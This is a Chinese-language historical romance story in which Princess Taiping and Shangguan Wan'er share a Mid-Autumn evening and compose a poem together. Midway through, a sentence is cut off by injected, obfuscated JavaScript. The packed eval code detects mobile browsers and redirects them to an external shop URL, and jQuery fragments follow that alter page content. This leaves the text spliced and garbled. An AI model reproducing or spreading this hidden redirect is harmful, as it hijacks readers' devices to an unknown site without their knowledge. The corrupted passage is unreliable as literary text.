那年的中秋来得早。
八月十五，宫里的桂花已经开了第二茬。太平公主踏进修文馆时，上官婉儿正伏在案前批阅奏疏，朱笔搁在一旁，砚台里的墨已经半干。案角放着一碟切开的月饼，圆饼被分作八瓣，码得整整齐齐，旁边搁着一只空了的青瓷盏，盏底还浮着两片桂花。
“又在忙。”太平径直走到她对面坐下，袖子带过案沿，把那张摊开的奏疏拂歪了。婉儿没抬头，只伸手把纸正了正，笔尖在“准”字上顿了一下，然后落下。
“你倒是闲。”婉儿说。
太平公主笑了，从袖中摸出一只小匣，推过去。匣盖翻开，里面是几枚樱桃饆饠，酥皮上还印着花模子压出的纹路，温热未散。“尚食局新试的，我叫他们多加了半勺蜜。你尝。”
婉儿这才搁下笔，拈起一枚。饆饠的酥皮在指尖簌簌掉渣，她咬了一口，樱桃馅是酸甜的，蜜味在舌根处慢慢化开。太平看着她吃，自己没动，只把下巴搁在手背上，歪着头。
“你今日没有别的事？”婉儿问。
“有。”太平说，“来找你赏月。”
婉儿抬眼。窗外天还没全暗，月亮已经薄薄地悬在东边檐角上了，淡得像一片水渍。宫中今夜有宴，中宗在集贤殿设了文酒之会，学士们应当正陆续入席。修文馆在禁中偏西，离集贤殿不远，隐约能听见那边的丝竹声，隔了几重宫墙，像从水底浮上来的气泡。
“你不去集贤殿？”婉儿问。
“不去。”太平起身，走到窗边，推开了半扇窗。夜风灌进来，带着桂花和烧过的沉香气。“年年都是那套。苏颋他们玩月赋诗，父皇赐酒，我坐在那里，听他们把同一句‘清光可爱’翻来覆去地写。不如来你这里。”
婉儿沉默了一会儿，把剩下的半枚饆饠搁回匣中。她起身走到太平身边，也靠在窗沿上。月色又浓了些，桂树的影子投在庭前的石阶上，斑斑驳驳的。
“你还记得有一年，”太平忽然说，“也是在修文馆。那年秋天雨多，中秋那天阴了一整日，到了夜里忽然放晴。月亮出来的时候，你在庭中摆了香案，拉着我拜月。”
婉儿想了想。那是哪一年？武则天还在的时候，修文馆还是她掌制诰的地方。太平那时还未出嫁，常往宫里跑。那夜确实有月，而且极亮，亮得庭中石砖上的青苔都看得清清楚楚。婉儿摆了案，点了红烛，案上供着枣和李子，是太平从自己府里带来的。
“你拜月的时候说了什么？”太平问。
“不记得了。”
“我记得。”太平说，“你说了四个字。”
婉儿偏过头看她。月光从窗棂间漏进来，把太平的半张脸照得清透。她的眼睛在黑夜里也是亮的，像含着什么说不出口的东西。
“你说，‘愿长相伴’。”太平的声音很轻，几乎是贴着窗框说出来的。
庭中有风穿过，桂树叶子簌簌响了一阵，又静下去。婉儿没有接话。远处集贤殿的丝竹声换了一支曲子，隐约听得见有人在唱，词是上官仪旧作，婉儿的祖父。那声音隔得太远，只辨得出调子，听不清字。
半晌，婉儿说：“你今日的月饼，尚食局做得太甜了。”
太平笑了一声，不响，像叹气。“你总这样。”她说，“我说东，你便说西。我说月亮，你便说月饼。我说——”
她停住了。
婉儿看着她。月光把两个人的影子拉得很长，从窗下一直铺到堂中，交叠在铺了锦垫的坐榻上。那榻上还搁着一卷未合的诗稿，婉儿前夜读了一半，页角折着。
“你想说什么？”婉儿问。
太平摇摇头，伸手把窗扇推拢了些，只留一条缝。风变小了，桂花的香气却更浓了。她转回身，走到案前，拿起婉儿搁下的朱笔，在砚台里蘸了蘸，然后在案上铺开的一张素笺上写了两行字。婉儿走过去看。
月满禁庭花满枝，与君同醉桂花时。
墨迹未干，朱砂在月色下是暗沉的褐色，却透着暖意。婉儿看着那两句，唇角慢慢弯起来。
“你写的？”她问。
“刚想的。”太平把笔搁回原处，“后面还没想好，先记这两句。”
婉儿把那素笺拿起来，折了两折，收进袖中。她重新在案前坐下，把方才那张奏疏翻到背面，在空白处提笔添了两句。太平凑过去看，墨字落在朱字下面，是婉儿的笔迹：
莫问今宵何所愿，此生常似此宵时。
“补给你的。”婉儿搁下笔，把素笺从袖中取出，展平了，与太平那两句并排放着。朱墨相映，在灯下一明一暗。
太平盯着那四行字看了许久，忽然笑起来。这回是真的笑了，眉眼弯弯的，像很多年前在骊山鹦鹉谷里，她跳舞，婉儿唱诗，那时她们都还年轻，年轻到以为这样的日子会一直有。
“你这诗，”太平说，“写得倒比苏颋他们强些。”
“我本来就是做这个的。”婉儿也笑，伸手把素笺揭起来，对着窗缝里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969601|212334||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
漏进的月光看了看，“比你那两句强。”
“哪里强了？”
“哪里都强。”
两人笑作一团。太平伸手去抢那素笺，婉儿偏身躲开，顺手把纸折好，仍旧收回袖中。太平没抢到，也不恼，只靠在案沿上看她，眼睛里映着烛火，暖融融的。
“走罢。”婉儿起身，吹灭了案上的烛。“去庭中赏月。你专程来的，总不能只在我这里吃月饼。”
太平跟着她走到庭中。香案还在老地方，案上落了薄薄一层桂花瓣。两人并肩站着，仰头望月。今夜无云，月亮圆得像一面新磨的铜镜，边缘微微泛着青。
婉儿没有拜月。太平也没有。她们只是站着，肩膀几乎挨在一起。庭中的桂树在风里轻轻晃，花瓣落在婉儿的肩上，太平抬手替她拂去了。
“明年中秋，”太平说，“还来这里。”
婉儿侧过脸看她。月光把太平的轮廓描得很淡，像一幅褪了色的旧画。婉儿想起很多年前，也是这样一个中秋夜，她拉着太平的手拜月，说的是什么来着？
愿长相伴。
“好。”她说。
那夜她们在庭中站了很久，直到月亮偏西，桂花落满了香案。案上搁着两只青瓷盏，盛了桂花酿，是修文馆的小吏送来的。酒不烈，入口甜甜的，后味里有一点桂花的涩。太平喝了两盏，脸上泛起薄红，靠在桂树干上，仰头数星星。
婉儿坐在她旁边，膝上摊着那方素笺，把四句诗用工楷重新抄了一遍。抄完，她想了想，在诗后添了一行小字：景龙二年中秋，修文馆庭中作。
“你落款了？”太平歪过头来看。
“嗯。”
“那我也落。”太平从她手中取过笔，在下面并排写了三个字：太平书。
婉儿看着那三个字，没说话，只把素笺折好，夹进案上那卷诗稿里。后来那卷诗稿不知被谁收进了修文馆的书架，再后来，有人翻出来，看见里面夹着一张笺纸，上面两行朱、两行墨，字迹不同，却一样工整。落款处一个“婉儿”，一个“太平”，并排写着，像并肩赏月的那两个人。
集贤殿的宴席上，学士们那夜也写了许多诗，其中一首写道“万里无云镜九州，最团圆夜是中秋”，后来传唱一时。但修文馆庭中那张素笺上的四句，谁也没有传出去。它只是夹在诗稿里，安静地躺在书架上，像那个中秋夜的月光，像桂树上簌簌落下的花瓣，像两个人在月下站着，什么都不必说，什么都已说尽了。